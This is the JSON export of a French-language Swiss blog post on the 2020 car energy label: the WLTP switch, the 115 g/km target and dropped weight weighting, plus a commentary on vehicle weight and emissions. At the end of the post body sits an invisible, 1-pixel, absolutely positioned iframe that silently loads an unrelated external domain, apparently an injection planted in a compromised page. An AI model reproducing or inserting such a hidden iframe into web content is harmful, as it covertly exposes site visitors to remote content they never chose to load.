{"id":1300,"date":"2020-02-13T16:15:43","date_gmt":"2020-02-13T15:15:43","guid":{"rendered":"https:\/\/info-energie.ch\/blog\/?p=1300"},"modified":"2021-01-19T16:16:54","modified_gmt":"2021-01-19T15:16:54","slug":"nouvelle-etiquette-energie-pour-les-voitures","status":"publish","type":"post","link":"https:\/\/www.info-energie.ch\/blog\/2020\/02\/13\/nouvelle-etiquette-energie-pour-les-voitures\/","title":{"rendered":"Nouvelle \u00e9tiquette-\u00e9nergie pour les voitures"},"content":{"rendered":"<p>Depuis le 1<sup>er<\/sup> janvier 2020, un nouveau mode de calcul de l\u2019\u00e9tiquette-\u00e9nergie des voitures de tourisme a \u00e9t\u00e9 introduit. Les modifications principales sont\u00a0:<\/p>\n<ul>\n<li>Passage de la proc\u00e9dure d&rsquo;essai NCEC (nouveau cycle europ\u00e9en de conduite) \u00e0 la proc\u00e9dure d&rsquo;essai WLTP (Worldwide Harmonized Light-Duty Vehicles Test Procedures). Avec cette nouvelle m\u00e9thode on obtient des r\u00e9sultats d\u2019\u00e9mission de CO2 plus \u00e9lev\u00e9s qu\u2019auparavant. Pour tenir compte de cette diff\u00e9rence de calcul la valeur cible de 95 g\/km est augment\u00e9e de 21% et s\u2019\u00e9tablit dor\u00e9navant \u00e0 115 g\/km.<\/li>\n<li>La prise en compte du poids du v\u00e9hicule \u00e0 vide pour l\u2019attribution de la note (A \u00e0 E) est supprim\u00e9e. Auparavant une grande\u00a0 partie du poids des v\u00e9hicules \u00e9tait \u00ab\u00a0d\u00e9compt\u00e9\u00a0\u00bb dans le calcul pour que dans toutes les cat\u00e9gories on trouve des mod\u00e8les A ou B. Le calcul de l\u2019efficacit\u00e9 \u00e9nerg\u00e9tique se fondera d\u00e8s lors uniquement sur la consommation en litres par kilom\u00e8tre et ne sera plus pond\u00e9r\u00e9e en fonction du poids du v\u00e9hicule.<\/li>\n<li>D\u2019autres changements vont renforcer la visibilit\u00e9 de l\u2019\u00e9tiquette-\u00e9nergie dans la publicit\u00e9 et les canaux de vente.<\/li>\n<\/ul>\n<p><u><a href=\"https:\/\/www.admin.ch\/gov\/fr\/accueil\/documentation\/communiques.msg-id-77011.html\">Infos sur le site de la Conf\u00e9d\u00e9ration<\/a><\/u><\/p>\n<p><u>L\u2019importance du poids du v\u00e9hicule<\/u><\/p>\n<p>Quel que soit l\u2019\u00e9nergie de propulsion, le poids du v\u00e9hicule est pr\u00e9pond\u00e9rant dans sa consommation. En effet, pour d\u00e9placer 1.6 personnes (moyenne des passagers en Suisse)\u00a0nous utilisons des engins pesant en moyenne 1,5 tonnes! C\u2019est donc bien le poids de la voiture \u00e0 vide et non son chargement qui influe le plus sur sa consommation.<\/p>\n<p>Du fait \u00a0notamment des normes de s\u00e9curit\u00e9 toujours plus s\u00e9v\u00e8res, le poids des voitures a augment\u00e9 de 60% depuis les ann\u00e9es 60 (+300kg depuis 1990), ce qui va \u00e0 l\u2019encontre des objectifs environnementaux. Pourtant, une diminution d\u2019environ 20% le poids des voitures (250kg) permettrait des baisses d\u2019\u00e9missions d\u2019environ 20 gr de CO2. (<u><a href=\"https:\/\/www.lepoint.fr\/automobile\/innovations\/des-idees-pour-alleger-de-20-le-poids-des-voitures-12-03-2013-1638936_652.php\">article du point (2013)<\/a><\/u>)<\/p>\n<p>Fichier\u00a0: Trois projets pour all\u00e9ger de 20 % le poids des voitures _ Automobile.pdf<\/p>\n<p>A l\u2019heure des SUV, 4X4 et autres monstres de la route, on peut s\u2019interroger sur la contradiction d\u2019une industrie qui d\u00e9ploie de grands efforts pour proposer des propulsions alternatives tout en alourdissant constamment ces m\u00eames v\u00e9hicules ce qui, annule en grande partie les progr\u00e8s r\u00e9alis\u00e9s.<\/p>\n<p>La suppression de la pond\u00e9ration par le poids des v\u00e9hicules dans la nouvelle \u00e9tiquette-\u00e9nergie est donc une bonne nouvelle mais sera-t-elle suffisante pour inciter les utilisateurs \u00e0 opter pour des v\u00e9hicules plus l\u00e9gers et plus sobres\u00a0? Pour pousser les constructeurs \u00e0 faire plus d\u2019efforts en la mati\u00e8re, des limites de poids ne devraient-elles pas \u00eatre impos\u00e9es\u00a0? Une taxe incitative sur les voitures les plus lourdes ne devrait-elle pas \u00eatre introduite pour pousser les consommateurs \u00e0 modifier leurs choix?<\/p>\n<div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Depuis le 1er janvier 2020, un nouveau mode de calcul de l\u2019\u00e9tiquette-\u00e9nergie des voitures de tourisme a \u00e9t\u00e9 introduit. Les modifications principales sont\u00a0: Passage de la proc\u00e9dure d&rsquo;essai NCEC (nouveau cycle europ\u00e9en de conduite) \u00e0 la proc\u00e9dure d&rsquo;essai WLTP (Worldwide Harmonized Light-Duty Vehicles Test Procedures). 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